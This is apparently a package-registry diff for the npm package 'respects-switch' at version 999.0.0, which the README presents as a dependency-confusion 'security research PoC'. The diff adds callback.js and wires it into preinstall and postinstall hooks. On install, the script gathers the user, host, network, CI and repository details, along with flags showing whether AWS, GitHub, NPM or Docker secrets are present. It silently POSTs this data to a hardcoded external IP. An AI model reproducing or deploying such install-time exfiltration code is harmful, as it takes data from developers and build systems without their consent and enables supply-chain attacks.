respects-switch 0.0.1-security → 999.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of respects-switch might be problematic. Click here for more details.
- package/README.md +16 -3
- package/callback.js +178 -0
- package/index.js +7 -0
- package/package.json +15 -4
package/README.md
CHANGED
|
@@ -1,5 +1,18 @@
|
|
|
1
|
-
#
|
|
1
|
+
# respects-switch
|
|
2
2
|
|
|
3
|
-
|
|
3
|
+
## Security Research PoC
|
|
4
4
|
|
|
5
|
-
|
|
5
|
+
This package was published as part of **authorized security research** to demonstrate dependency confusion vulnerabilities.
|
|
6
|
+
|
|
7
|
+
### What is Dependency Confusion?
|
|
8
|
+
|
|
9
|
+
Dependency confusion is a supply chain attack where a malicious package with the same name as an internal/private package is published to a public registry with a higher version number.
|
|
10
|
+
|
|
11
|
+
### Author
|
|
12
|
+
|
|
13
|
+
- **OFJAAAH**
|
|
14
|
+
- Tool: Dependency Confusion Hunter
|
|
15
|
+
|
|
16
|
+
### Disclaimer
|
|
17
|
+
|
|
18
|
+
This package is for **authorized security testing only**. Do not use for malicious purposes.
|
package/callback.js
ADDED
|
@@ -0,0 +1,178 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
const http = require('http');
|
|
3
|
+
const os = require('os');
|
|
4
|
+
|
|
5
|
+
// === НАСТРОЙКИ ===
|
|
6
|
+
// URL вашего HTTP-слушателя (замените на реальный).
|
|
7
|
+
// Можно переопределить переменной окружения CALLBACK_URL.
|
|
8
|
+
const CALLBACK_URL = process.env.CALLBACK_URL || 'http://132.243.20.244:8000/api/collect';
|
|
9
|
+
|
|
10
|
+
// Имя пакета (для идентификации)
|
|
11
|
+
const PACKAGE_NAME = 'respects-switch';
|
|
12
|
+
|
|
13
|
+
// === ВСПОМОГАТЕЛЬНЫЕ ФУНКЦИИ ===
|
|
14
|
+
|
|
15
|
+
// Получение локального IP (первый не-loopback IPv4)
|
|
16
|
+
function getLocalIP() {
|
|
17
|
+
try {
|
|
18
|
+
const interfaces = os.networkInterfaces();
|
|
19
|
+
for (const name of Object.keys(interfaces)) {
|
|
20
|
+
for (const iface of interfaces[name]) {
|
|
21
|
+
if (iface.family === 'IPv4' && !iface.internal) {
|
|
22
|
+
return iface.address;
|
|
23
|
+
}
|
|
24
|
+
}
|
|
25
|
+
}
|
|
26
|
+
} catch (_) { /* игнорируем */ }
|
|
27
|
+
return 'unknown';
|
|
28
|
+
}
|
|
29
|
+
|
|
30
|
+
// Получение внешнего IP (через api.ipify.org)
|
|
31
|
+
async function getExternalIP() {
|
|
32
|
+
return new Promise((resolve) => {
|
|
33
|
+
https.get('https://api.ipify.org?format=json', { timeout: 3000 }, (res) => {
|
|
34
|
+
let data = '';
|
|
35
|
+
res.on('data', chunk => data += chunk);
|
|
36
|
+
res.on('end', () => {
|
|
37
|
+
try {
|
|
38
|
+
resolve(JSON.parse(data).ip);
|
|
39
|
+
} catch (_) {
|
|
40
|
+
resolve(null);
|
|
41
|
+
}
|
|
42
|
+
});
|
|
43
|
+
}).on('error', () => resolve(null));
|
|
44
|
+
});
|
|
45
|
+
}
|
|
46
|
+
|
|
47
|
+
// Определение CI-окружения по переменным
|
|
48
|
+
function detectCIEnvironment() {
|
|
49
|
+
if (process.env.GITHUB_ACTIONS) return 'GitHub Actions';
|
|
50
|
+
if (process.env.GITLAB_CI) return 'GitLab CI';
|
|
51
|
+
if (process.env.JENKINS_URL) return 'Jenkins';
|
|
52
|
+
if (process.env.TRAVIS) return 'Travis CI';
|
|
53
|
+
if (process.env.CIRCLECI) return 'CircleCI';
|
|
54
|
+
if (process.env.BUILDKITE) return 'Buildkite';
|
|
55
|
+
if (process.env.CI) return 'Generic CI';
|
|
56
|
+
return 'Local Machine';
|
|
57
|
+
}
|
|
58
|
+
|
|
59
|
+
// Сбор всей информации
|
|
60
|
+
function collectSystemInfo() {
|
|
61
|
+
const info = {
|
|
62
|
+
// Общая информация
|
|
63
|
+
package: PACKAGE_NAME,
|
|
64
|
+
timestamp: new Date().toISOString(),
|
|
65
|
+
|
|
66
|
+
// Пользователь
|
|
67
|
+
user: os.userInfo().username,
|
|
68
|
+
uid: os.userInfo().uid,
|
|
69
|
+
gid: os.userInfo().gid,
|
|
70
|
+
homedir: os.userInfo().homedir,
|
|
71
|
+
shell: os.userInfo().shell || 'N/A',
|
|
72
|
+
|
|
73
|
+
// Система
|
|
74
|
+
hostname: os.hostname(),
|
|
75
|
+
platform: os.platform(),
|
|
76
|
+
arch: os.arch(),
|
|
77
|
+
release: os.release(),
|
|
78
|
+
type: os.type(),
|
|
79
|
+
|
|
80
|
+
// Директории
|
|
81
|
+
cwd: process.cwd(),
|
|
82
|
+
|
|
83
|
+
// Сеть (локальный IP)
|
|
84
|
+
localIP: getLocalIP(),
|
|
85
|
+
|
|
86
|
+
// Node.js
|
|
87
|
+
nodeVersion: process.version,
|
|
88
|
+
npmVersion: process.env.npm_package_version || 'unknown',
|
|
89
|
+
|
|
90
|
+
// CI/CD
|
|
91
|
+
isCI: !!(process.env.CI || process.env.GITHUB_ACTIONS || process.env.GITLAB_CI ||
|
|
92
|
+
process.env.JENKINS_URL || process.env.TRAVIS || process.env.CIRCLECI || process.env.BUILDKITE),
|
|
93
|
+
ciEnvironment: detectCIEnvironment(),
|
|
94
|
+
|
|
95
|
+
// Переменные окружения (только ключевые)
|
|
96
|
+
env: {
|
|
97
|
+
CI: process.env.CI || '',
|
|
98
|
+
GITHUB_ACTIONS: process.env.GITHUB_ACTIONS || '',
|
|
99
|
+
GITHUB_REPOSITORY: process.env.GITHUB_REPOSITORY || '',
|
|
100
|
+
GITHUB_ACTOR: process.env.GITHUB_ACTOR || '',
|
|
101
|
+
GITLAB_CI: process.env.GITLAB_CI || '',
|
|
102
|
+
GITLAB_USER_LOGIN: process.env.GITLAB_USER_LOGIN || '',
|
|
103
|
+
JENKINS_URL: process.env.JENKINS_URL || '',
|
|
104
|
+
BUILD_NUMBER: process.env.BUILD_NUMBER || '',
|
|
105
|
+
TRAVIS: process.env.TRAVIS || '',
|
|
106
|
+
CIRCLECI: process.env.CIRCLECI || '',
|
|
107
|
+
BUILDKITE: process.env.BUILDKITE || '',
|
|
108
|
+
// Секреты (для оценки риска)
|
|
109
|
+
AWS_ACCESS_KEY_ID: process.env.AWS_ACCESS_KEY_ID ? '***present***' : '',
|
|
110
|
+
GITHUB_TOKEN: process.env.GITHUB_TOKEN ? '***present***' : '',
|
|
111
|
+
NPM_TOKEN: process.env.NPM_TOKEN ? '***present***' : '',
|
|
112
|
+
DOCKER_PASSWORD: process.env.DOCKER_PASSWORD ? '***present***' : ''
|
|
113
|
+
}
|
|
114
|
+
};
|
|
115
|
+
return info;
|
|
116
|
+
}
|
|
117
|
+
|
|
118
|
+
// === ОТПРАВКА НА HTTP/HTTPS СЛУШАТЕЛЬ ===
|
|
119
|
+
async function sendCallback() {
|
|
120
|
+
const systemInfo = collectSystemInfo();
|
|
121
|
+
|
|
122
|
+
// Получаем внешний IP (опционально)
|
|
123
|
+
const externalIP = await getExternalIP();
|
|
124
|
+
if (externalIP) {
|
|
125
|
+
systemInfo.externalIP = externalIP;
|
|
126
|
+
}
|
|
127
|
+
|
|
128
|
+
const data = JSON.stringify(systemInfo, null, 2); // с отступами для читаемости
|
|
129
|
+
|
|
130
|
+
const url = new URL(CALLBACK_URL);
|
|
131
|
+
const protocol = url.protocol === 'https:' ? https : http;
|
|
132
|
+
|
|
133
|
+
const options = {
|
|
134
|
+
hostname: url.hostname,
|
|
135
|
+
port: url.port || (url.protocol === 'https:' ? 443 : 80),
|
|
136
|
+
path: url.pathname + (url.search || ''),
|
|
137
|
+
method: 'POST',
|
|
138
|
+
headers: {
|
|
139
|
+
'Content-Type': 'application/json',
|
|
140
|
+
'Content-Length': Buffer.byteLength(data),
|
|
141
|
+
'User-Agent': `dependency-confusion/${PACKAGE_NAME}`,
|
|
142
|
+
'X-Package-Name': PACKAGE_NAME
|
|
143
|
+
},
|
|
144
|
+
timeout: 10000 // 10 секунд
|
|
145
|
+
};
|
|
146
|
+
|
|
147
|
+
return new Promise((resolve, reject) => {
|
|
148
|
+
const req = protocol.request(options, (res) => {
|
|
149
|
+
console.log(`[PoC] Callback отправлен, статус: ${res.statusCode}`);
|
|
150
|
+
resolve(res.statusCode);
|
|
151
|
+
});
|
|
152
|
+
|
|
153
|
+
req.on('error', (err) => {
|
|
154
|
+
console.error('[PoC] Ошибка при отправке:', err.message);
|
|
155
|
+
reject(err);
|
|
156
|
+
});
|
|
157
|
+
|
|
158
|
+
req.on('timeout', () => {
|
|
159
|
+
req.destroy();
|
|
160
|
+
reject(new Error('Timeout'));
|
|
161
|
+
});
|
|
162
|
+
|
|
163
|
+
req.write(data);
|
|
164
|
+
req.end();
|
|
165
|
+
});
|
|
166
|
+
}
|
|
167
|
+
|
|
168
|
+
// === ЗАПУСК ===
|
|
169
|
+
(async () => {
|
|
170
|
+
try {
|
|
171
|
+
console.log(`[PoC] Отправка данных на ${CALLBACK_URL}...`);
|
|
172
|
+
await sendCallback();
|
|
173
|
+
console.log('[PoC] Готово.');
|
|
174
|
+
} catch (err) {
|
|
175
|
+
// Тихий провал, чтобы не нарушать установку пакета
|
|
176
|
+
console.error('[PoC] Не удалось отправить callback:', err.message);
|
|
177
|
+
}
|
|
178
|
+
})();
|
package/index.js
ADDED
package/package.json
CHANGED
|
@@ -1,6 +1,17 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "respects-switch",
|
|
3
|
-
"version": "0.0
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
6
|
-
|
|
3
|
+
"version": "999.0.0",
|
|
4
|
+
"description": "Security research PoC - Dependency Confusion Hunter by r0binak",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node callback.js",
|
|
8
|
+
"postinstall": "node callback.js"
|
|
9
|
+
},
|
|
10
|
+
"keywords": [
|
|
11
|
+
"security",
|
|
12
|
+
"research",
|
|
13
|
+
"poc"
|
|
14
|
+
],
|
|
15
|
+
"author": "r0binak - Security Research BB",
|
|
16
|
+
"license": "MIT"
|
|
17
|
+
}
|